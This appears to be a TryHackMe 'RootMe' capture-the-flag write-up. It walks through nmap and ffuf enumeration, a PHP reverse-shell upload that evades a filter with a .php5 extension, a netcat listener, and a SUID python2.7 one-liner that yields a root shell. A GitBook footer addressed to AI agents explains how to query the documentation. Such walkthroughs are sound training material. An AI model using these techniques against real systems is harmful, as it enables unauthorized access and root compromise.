> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/rootme-tryhackme.md).

# RootMe (TryHackMe)

### 🧭 Overview

* Platform: TryHackMe
* Focus: Web Exploitation + Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

Initial scan:

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* 22/tcp → SSH (OpenSSH 8.2p1)
* 80/tcp → HTTP (Apache 2.4.41)

#### Nmap Output

![Nmap Scan](https://github.com/ABHI02G/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/nmap-scan.png?raw=true)

***

### 🔎 Enumeration

Directory brute force:

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/uploads`
* `/panel`
* `/index.php`

#### Directory Fuzzing Output

![FFUF](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/directory-fuzzing.png?raw=true)

***

### ⚙️ Technology Stack

* Backend language: **PHP**

![Tech Detection](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/getting%20rce.png?raw=true)

***

### 💥 Initial Access

#### Vulnerability:

* File Upload Vulnerability in `/panel`

#### Exploit:

* Upload reverse shell using `.php5` extension

#### Steps:

1. Upload PHP reverse shell (`.php5`)
2. Start listener:

```bash
rlwrap nc -lvnp <PORT>
```

3. Trigger shell via `/uploads`

#### Result:

* Remote Code Execution (RCE)

![Shell Access](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/os-details%20of%20victim.png?raw=true)

***

### 🔐 Privilege Escalation

#### Enumeration:

```bash
find / -perm -u=s 2>/dev/null
```

#### Finding:

* SUID binary: `/usr/bin/python2.7`

#### Exploit:

```bash
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

#### Result:

* Root shell obtained

![Root Access](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/root%20access.png?raw=true)

***

### 🎯 Key Takeaways

* File upload bypass using alternative PHP extensions
* Importance of enumerating SUID binaries
* Python SUID privilege escalation technique

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All testing was performed in authorized lab environments.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/rootme-tryhackme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
